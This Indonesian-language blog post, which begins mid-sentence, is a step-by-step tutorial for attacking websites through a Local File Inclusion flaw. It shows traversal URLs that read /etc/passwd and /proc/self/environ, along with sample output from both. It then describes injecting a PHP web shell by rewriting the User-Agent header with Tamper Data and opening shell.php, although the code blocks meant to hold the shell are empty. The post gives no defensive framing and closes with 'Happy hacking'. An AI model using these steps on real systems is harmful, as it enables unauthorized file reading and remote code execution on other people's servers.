adalah dengan LFI ( Local File Inclusion ).
Ciri Website dengan Vuln LFI adalah seperti berikut:
contoh : www.website.com/view.php?page=page1.php
Pertama kita coba dengan mengganti page1.php dengan ../
contoh: www.website.com/view.php?page=../
kira-kira akan terdapat error seperti ini:
Code:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337
sekarang kita coba melihat /etc/passwd nya.. dengan menambahkan ../../etc/passwd
contoh: www.website.com/view.php?page=../../../etc/passwd
kita masih mendapatkan error yang sama tetapi yang kita request ( /etc/passwd ) tidak keluar.. :(
Code:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337
kita test kembali dengan menambahkan ../ pada target website.com
contoh: www.website.com/view.php?page=../../../../../etc/passwd
yes sukses !!
Code:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
tambahkan ../../ sampe kira-kira seperlunya aja?
jgn terlalu panjang? kira-kira maximal 10x ..
Setelah itu kita Cek /proc/self/environ bisa diakses apa tidak?
dengan cara mengganti /etc/passwd dengan /proc/self/environ
contoh: www.website.com/view.php?page=../../../../../proc/self/environ
Kalo keluar seperti dibawah ini.. berarti /proc/self/environ bisa diakses?
Code:
DOCUMENT_ROOT=/home/ijoo/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/Fenviron SCRIPT_FILENAME=/home/ijoo/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
DOCUMENT_ROOT=/home/ijoo/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/Fenviron SCRIPT_FILENAME=/home/ijoo/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
Sekarang langkah berikutnya memasukan Code injection ( php-Shell Code )
Download Addon Mozilla Tamper Data untuk mempermudah
Dengan Tamper Data kita bisa mengubah User-Agent.Start di Firefox:
contoh: www.website.com/view.php?page=../../../../../proc/self/environ
Buka Tamper > start Tamper > ganti User-Agent filed dengan :
Code:
atau
Code:
Setelah itu coba buka
contoh: www.website.com/shell.php
Kalo shell kita terbuka... berarti sukses ^_^
Happy hacking...
0 komentar:
Posting Komentar